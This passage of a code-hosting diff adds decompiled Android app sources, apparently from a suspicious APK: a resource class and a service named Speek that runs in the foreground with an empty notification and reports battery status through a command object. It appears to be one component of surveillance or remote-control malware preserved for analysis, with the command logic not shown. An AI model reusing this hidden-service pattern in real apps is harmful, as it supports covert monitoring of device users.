private integer() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class layout {
|
||||
public static final int activity = 0x7f040000;
|
||||
|
||||
private layout() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class menu {
|
||||
public static final int main = 0x7f050000;
|
||||
|
||||
private menu() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class mipmap {
|
||||
public static final int ic_launcher = 0x7f060000;
|
||||
|
||||
private mipmap() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class string {
|
||||
public static final int app_name = 0x7f070000;
|
||||
public static final int notification_description = 0x7f070001;
|
||||
|
||||
private string() {
|
||||
}
|
||||
}
|
||||
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public static final class xml {
|
||||
public static final int file_paths = 0x7f080000;
|
||||
|
||||
private xml() {
|
||||
}
|
||||
}
|
||||
|
||||
private R() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.app.Notification;
|
||||
import android.app.Service;
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.IntentFilter;
|
||||
import android.os.Bundle;
|
||||
import android.os.IBinder;
|
||||
import android.os.ResultReceiver;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class Speek extends Service {
|
||||
Comand comand;
|
||||
public ResultReceiver resultReceiver = null;
|
||||
|
||||
@Override // android.app.Service
|
||||
public IBinder onBind(Intent intent) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override // android.app.Service
|
||||
public boolean onUnbind(Intent intent) {
|
||||
return super.onUnbind(intent);
|
||||
}
|
||||
|
||||
@Override // android.app.Service
|
||||
public void onCreate() {
|
||||
startForeground(5138, new Notification());
|
||||
registerReceiver(new BroadcastReceiver() { // from class: com.nvav.srv.recorder.Speek.1
|
||||
@Override // android.content.BroadcastReceiver
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
Comand comand = Speek.this.comand;
|
||||
Integer valueOf = Integer.valueOf(intent.getIntExtra("scale", 0));
|
||||
Integer valueOf2 = Integer.valueOf(intent.getIntExtra("level", 0));
|
||||
Integer valueOf3 = Integer.valueOf(intent.getIntExtra("temperature", 0));
|
||||
Double valueOf4 = Double.valueOf(0.0d);
|
||||
comand.WriteOut(String.format("battery=%d=%d=%d=%f=%f", valueOf, valueOf2, valueOf3, valueOf4, valueOf4));
|
||||
}
|
||||
}, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
|
||||
Comand comand = new Comand(this);
|
||||
this.comand = comand;
|
||||
comand.start();
|
||||
}
|
||||
|
||||
@Override // android.app.Service
|
||||
public void onDestroy() {
|
||||
super.onDestroy();
|
||||
this.comand.Close();
|
||||
stopForeground(true);
|
||||
stopSelf();
|
||||
}
|
||||
|
||||
@Override // android.app.Service
|
||||
public int onStartCommand(Intent intent, int i, int i2) {
|
||||
try {
|
||||
if (this.resultReceiver == null) {
|
||||
this.resultReceiver = (ResultReceiver) intent.getParcelableExtra("reciver");
|
||||
return 1;
|
||||
}
|
||||
return 1;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
public void send_status(int i) {
|
||||
Bundle bundle = new Bundle();
|
||||
bundle.putInt("status", i);
|
||||
ResultReceiver resultReceiver = this.resultReceiver;
|
||||
if (resultReceiver != null) {
|
||||
resultReceiver.send(100, bundle);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user